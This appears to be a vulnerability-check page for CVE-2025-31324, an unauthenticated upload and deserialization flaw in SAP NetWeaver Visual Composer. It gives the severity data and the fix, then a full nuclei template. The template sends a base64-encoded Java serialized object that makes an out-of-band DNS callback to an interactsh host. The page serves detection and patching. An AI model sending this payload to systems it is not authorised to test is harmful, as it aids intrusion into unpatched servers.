SAP NetWeaver Visual Composer Metadata Uploader - Deserialization

Exploited in the wild. Listed by CISA on 2025-04-29; known to be used by ransomware.

criticalseverity

10CVSS score

99.5%likelihood of exploitation, next 30 days

100%of all CVEs are less likely

Readycheck to confirm it

SAP NetWeaver Visual Composer Metadata Uploader is not protected with a proper authorization, allowing unauthenticated agent to upload potentially malicious executable binaries that could severely harm the host system. This could significantly affect the confidentiality, integrity, and availability of the targeted system.

Impact

Unauthenticated attackers can upload malicious executable binaries through the Metadata Uploader without authorization, potentially achieving remote code execution and complete system compromise.

Fix

Apply SAP security note 3594142 and upgrade to the latest patched version of SAP NetWeaver Visual Composer.

How to confirm it

Send: POST /developmentserver/metadatauploader?CONTENTTYPE=MODEL&CLIENT=1
Positive when: contains(interactsh_protocol, 'dns') and contains_all(body, 'FAILED', 'Cause')

Run it with nuclei: nuclei -id CVE-2025-31324 -u <target>

The full check

id: CVE-2025-31324

info:
  name: SAP NetWeaver Visual Composer Metadata Uploader - Deserialization
  author: iamnoooob,rootxharsh,parthmalhotra,pdresearch
  severity: critical
  description: |
    SAP NetWeaver Visual Composer Metadata Uploader is not protected with a proper authorization, allowing unauthenticated agent to upload potentially malicious executable binaries that could severely harm the host system. This could significantly affect the confidentiality, integrity, and availability of the targeted system.
  impact: |
    Unauthenticated attackers can upload malicious executable binaries through the Metadata Uploader without authorization, potentially achieving remote code execution and complete system compromise.
  remediation: |
    Apply SAP security note 3594142 and upgrade to the latest patched version of SAP NetWeaver Visual Composer.
  reference:
    - https://www.bleepingcomputer.com/news/security/sap-fixes-suspected-netweaver-zero-day-exploited-in-attacks/
    - https://www.theregister.com/2025/04/25/sap_netweaver_patch/
    - https://me.sap.com/notes/3594142
    - https://url.sap/sapsecuritypatchday
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
    cvss-score: 10
    cve-id: CVE-2025-31324
    cwe-id: CWE-434
    epss-score: 0.99486
    epss-percentile: 0.99944
  metadata:
    verified: true
    max-request: 1
    shodan-query: html:"SAP NetWeaver Application Server Java"
  tags: cve,cve2025,sap,netweaver,rce,deserialization,kev,vkev,vuln

variables:
  oast: ".{{interactsh-url}}"
  payload: "{{padding(oast,'a',54,'prefix')}}"


http:
  - raw:
      - |
        POST /developmentserver/metadatauploader?CONTENTTYPE=MODEL&CLIENT=1 HTTP/1.1
        Host: {{Hostname}}
        Content-Type: multipart/form-data

        {{zip('.properties',replace(base64_decode('rO0ABXNyABRqYXZhLnV0aWwuUHJvcGVydGllczkS0HpwNj6YAgABTAAIZGVmYXVsdHN0ABZMamF2YS91dGlsL1Byb3BlcnRpZXM7eHIAE2phdmEudXRpbC5IYXNodGFibGUTuw8lIUrkuAMAAkYACmxvYWRGYWN0b3JJAAl0aHJlc2hvbGR4cD9AAAAAAAADdwgAAAAFAAAAAnQADnByb2plY3QtbmF0dXJlc3IAEWphdmEudXRpbC5IYXNoTWFwBQfawcMWYNEDAAJGAApsb2FkRmFjdG9ySQAJdGhyZXNob2xkeHA/QAAAAAAADHcIAAAAEAAAAAFzcgAMamF2YS5uZXQuVVJMliU3Nhr85HIDAAdJAAhoYXNoQ29kZUkABHBvcnRMAAlhdXRob3JpdHl0ABJMamF2YS9sYW5nL1N0cmluZztMAARmaWxlcQB+AAhMAARob3N0cQB+AAhMAAhwcm90b2NvbHEAfgAITAADcmVmcQB+AAh4cP//////////dAA2YWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhdAAAcQB+AAp0AARodHRwcHh0AD1odHRwOi8vYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFheHQAC0VYUE9SVC1OQU1FdAATc29tZV9wcm9qZWN0X25hbWV4eHhw'),'aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa',payload))}}

    matchers:
      - type: dsl
        dsl:
          - contains(interactsh_protocol, 'dns')
          - contains_all(body, 'FAILED', 'Cause')
        condition: and

References

Use this check only on systems you are authorised to test. Where the data comes from